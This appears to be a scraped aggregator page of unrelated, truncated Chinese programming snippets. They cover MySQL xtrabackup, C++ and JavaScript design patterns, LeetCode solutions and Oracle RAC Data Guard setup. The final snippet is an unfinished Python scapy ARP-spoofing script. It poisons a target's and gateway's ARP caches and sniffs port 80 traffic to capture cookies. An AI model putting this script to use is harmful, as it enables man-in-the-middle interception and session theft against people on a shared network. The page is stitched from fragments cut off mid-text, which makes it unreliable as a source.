target

MySQL的备份还原(xtrabackup)

孤人 提交于 2020-03-20 07:23:59
MySQL的备份还原(xtrabackup) xtrabackup简介 xtrabackup是percona提供的MySQL数据库的备份工具,是唯一开源的能对innodb和xtradb数据库进行热备的工具 xtrabackup的特点 1.备份还原过程快、可靠 2.备份过程不会打断正在执行的事务 3.能够基于压缩等功能介于磁盘空间和流量 4.自动实现备份检验 5.开源免费 xtrabackup备份过程 xtrabackup安装 xtrabackup在centos的EPEL源中,可以在配置完EPEL源后使用yum安装 [root@localhost ~]# yum install -y percona-xtrabackup 也可以去官网下载最新版本的xtrabackup https://www.percona.com/downloads/XtraBackup/LATEST xtrabackup使用 xtrabackup [option] BACKUP-ROOT-DIR 选项 说明 --user 备份时连接到MySQL的账号 --password 备份时连接到MySQL所使用的账号的密码 --host 备份数据库的地址 --databases 所要备份的数据库名,如果有多个数据库可以使用","隔开,如果备份表则使用"DATABASE.TABLE"来指明 --incremental

Adapter

…衆ロ難τιáo~ 提交于 2020-03-20 07:02:04
今天是第一次在Mac book上编程,与在windows上写代码相比,既新鲜又充斥在许多小问题,还好很快掌握了 Adapter: 适配器Adapter是一种结构设计模式,其主要作用是允许不兼容的对象间通过一个转换接口协同工作。 适配器本身扮演的角色是两个对象间的包装器,通过对不兼容的对象进行包装从而生成目标对象的统一接口。 其实现就是适配器从目标对象继承,然后聚合不兼容的对象 #include <iostream> #include <string> class Target { public: virtual ~Target() = default; virtual std::string Request() const { return "Target: The default target's behavior."; } }; class Adaptee { public: std::string SpecificRequest() const{ return ".eetpadA eht fo rovivaheb laicepS"; } }; class Adapter : public Target { private: Adaptee *m_pAdaptee; public: Adapter(Adaptee* pAdaptee):m_pAdaptee(pAdaptee){

《es6标准入门》知识整理(3)

血红的双手。 提交于 2020-03-18 22:36:42
3 月,跳不动了?>>> Proxy介绍 Proxy 用于修改某些操作的默认行为;可以理解成,在目标对象之前架设一层"拦截",外界对对象的访问,都必须先通过这层拦截,因此提供了一层机制,可以对外界的访问进行过滤和改写。 const proxy = new Proxy(target,handler); target表示所要拦截的目标对象,handler参数也是一个对象,用来定制拦截行为。 const obj = new Proxy({}, { get: function(target, key, receiver) { console.log(`getting ${key}`); return Reflect.get(target, key, receiver); }, set: function(target, key, value,receiver) { console.log(`setting ${key}`) return Reflect.set(target, key, value, receiver) } }) obj.count = 1 console.log(++obj.count)//2 proxy实例的常见方法 get(target,prop,receiver ) :拦截某个属性的读取,三个参数依次为目标对象、属性名和 proxy 实例本身 receiver,

实例006:斐波那契数列

随声附和 提交于 2020-03-18 18:00:44
100个不同类型的python语言趣味编程题 实例006:斐波那契数列 题目 斐波那契数列。 程序分析 斐波那契数列(Fibonacci sequence),从1,1开始,后面每一项等于前面两项之和。图方便就递归实现,图性能就用循环。(与我的博客文章兔子产自问题类似) # 递归实现 def Fib(n): return 1 if n<=2 else Fib(n-1)+Fib(n-2) print(Fib(int(input()))) # 朴素实现 target=int(input()) a,b=1,1 for i in range(target-1): a,b=b,a+b print(a) #解本问题有多种方法,此方法并不是标准答案,读者可以自己尝试各种方法。 如果你喜欢我的文章,请滑到下方点个推荐再走. ,以给我动力哦;转载请注名出处。然后..请多来做客鸭。 来源: https://www.cnblogs.com/wby-110/p/12518690.html

程序员面试金典-面试题 16.24. 数对和

早过忘川 提交于 2020-03-18 17:59:56
题目: 设计一个算法,找出数组中两数之和为指定值的所有整数对。一个数只能属于一个数对。 示例 1: 输入: nums = [5,6,5], target = 11 输出: [[5,6]] 示例 2: 输入: nums = [5,6,5,6], target = 11 输出: [[5,6],[5,6]] 提示: nums.length <= 100000 分析: 现将数组排序,然后双指针从前后一起遍历,判断两个数的和和目标数的关系,从而移动指针。 程序: class Solution { public List<List<Integer>> pairSums(int[] nums, int target) { Arrays.sort(nums); List<List<Integer>> res = new ArrayList<>(); int i = 0, j = nums.length - 1; while(i < j){ if(nums[i] + nums[j] == target){ List<Integer> r = new ArrayList<>(); r.add(nums[i]); r.add(nums[j]); res.add(r); i++; j--; }else if(nums[i] + nums[j] < target){ i++; }else{ j--; } }

377. 组合总和 Ⅳ

坚强是说给别人听的谎言 提交于 2020-03-18 17:03:00
1 //递归+记忆化 2 class Solution 3 { 4 vector<int> memo; 5 public: 6 int combinationSum4(vector<int>& nums, int target) 7 { 8 //memo数组一般取target + 1 9 memo = vector<int>(target + 1,-1); 10 return DFS(nums,target); 11 } 12 13 int DFS(vector<int>& nums,int target) 14 { 15 //如果target减到0,结果加1 16 if(target == 0) return 1; 17 18 //如果当前和的值不为-1,则存在,直接返回即可 19 if(memo[target] != -1) return memo[target]; 20 21 int res = 0;//计数 22 for(auto a : nums) 23 { 24 //当前和必须大于等于当前数,则进行递归 25 if(target >= a) res += DFS(nums,target - a); 26 } 27 memo[target] = res;//循环做完之后保存res在记忆化数组里 28 return res; 29 } 30 }; 来源: https:/

Maven的安装、配置及使用入门

倖福魔咒の 提交于 2020-03-18 12:21:01
某厂面试归来,发现自己落伍了!>>> 本书代码下载 大家可以从我的网站下载本书的代码:http://www.juvenxu.com/mvn-in-action/,也可以通过我的网站与我取得联系,欢迎大家与我交流任何关于本书的问题和关于Maven的问题。 咖啡与工具 本书相当一部分的内容是在苏州十全街边的Solo咖啡馆完成的,老板Yin亲手烘焙咖啡豆、并能做出据说是苏州最好的咖啡,这小桥流水畔的温馨小 屋能够帮我消除紧张和焦虑,和Yin有一句没一句的聊天也是相当的轻松。Yin还教会了我如何自己研磨咖啡豆、手冲滴率咖啡,让我能够每天在家里也能享受 香气四溢的新鲜咖啡。 本书的书稿是使用Git和Unfuddle(http://unfuddle.com/)进行管理的,书中的大量截图是通过Jing(http://www.techsmith.com/jing/)制作的。 JuvenXu 2010年10月于苏州Solo咖啡 致谢 感谢费晓峰,是你最早让我学习使用Maven,并在我开始学习的过程中给予了不少帮助。 感谢Maven开源社区特别是Maven的创立者Jason Van Zyl,是你们一起创造了如此优秀的开源工具,造福了全世界这么多的开发人员。 感谢我的家人,一年来,我的大部分原来属于你们的业余时间都给了这本书,感谢你们的理解和支持。 感谢二少、Garin、Sutra、JTux、红人

RAC环境上搭建DG

杀马特。学长 韩版系。学妹 提交于 2020-03-18 06:07:21
首先RAC要确实是开归档的状态 archive log list; 如果是非归档状态,需要执行下面几步 srvctl stop database -d +数据库实例名 关闭数据库 --节点1(要做DG主库的) sql>startup mount sql> alter database archivelog; sql>alter system set log_archive_dest_1='LOCATION=/oracleapp/arch' scope=spfile sid='prod1'; sql>shutdown immediate srvctl start database -d +数据库实例名 RAC环境上搭建DG 查看当前数据库的日志文件组 select group#,thread#,bytes/1024/1024,status from v$standby_log; 为主库添加几组组standby log文件,以便它们自动被传送到备库。(一般比主库多一组) alter database add standby logfile thread 1 group 11 size 50m; alter database add standby logfile thread 1 group 12 size 50m; alter database add standby logfile

JS 从对象检索给定选择器指示的一组属性

霸气de小男生 提交于 2020-03-18 04:57:10
const get = (from, ...selectors) => [...selectors].map(s => s .replace(/\[([^\[\]]*)\]/g, '.$1.') .split('.') .filter(t => t !== '') .reduce((prev, cur) => prev && prev[cur], from) ); const obj = { selector: { to: { val: 'val to select' } }, target: [1, 2, { a: 'test' }] }; // Example get(obj, 'selector.to.val', 'target[0]', 'target[2].a'); // ['val to select', 1, 'test'] 来源: https://www.cnblogs.com/wkk2020/p/12515131.html

python-ARP欺骗

自闭症网瘾萝莉.ら 提交于 2020-03-17 17:24:00
代码如下: # 1. 从命令行获取要欺骗的IP # 2. 获取IP对应的MAC地址 # 3. 定义MAC获取函数get_mac() # 4. 启动ARP欺骗 # 5. 定义ARP欺骗函数 # 6. 嗅探数据包 # 7. 定义cookie嗅探函数 # 8. 恢复靶机的ARP缓存 # 9. 定义ARP缓存恢复函数 from scapy . all import * import time from threading import Thread def main ( target_ip , gateway_ip ) : conf . verb = 0 # 2. 获取IP对应的MAC地址 target_mac = get_mac ( target_ip ) gateway_mac = get_mac ( gateway_ip ) # 4. 启动ARP欺骗 t = Thread ( target = poison_target , args = ( target_ip , target_mac , gateway_ip , gateway_mac ) ) # 当主线程结束时,子线程自动结束 t . setDaemon ( True ) t . start ( ) # 6. 嗅探数据包 sniff ( filter = "tcp port 80" , prn = packet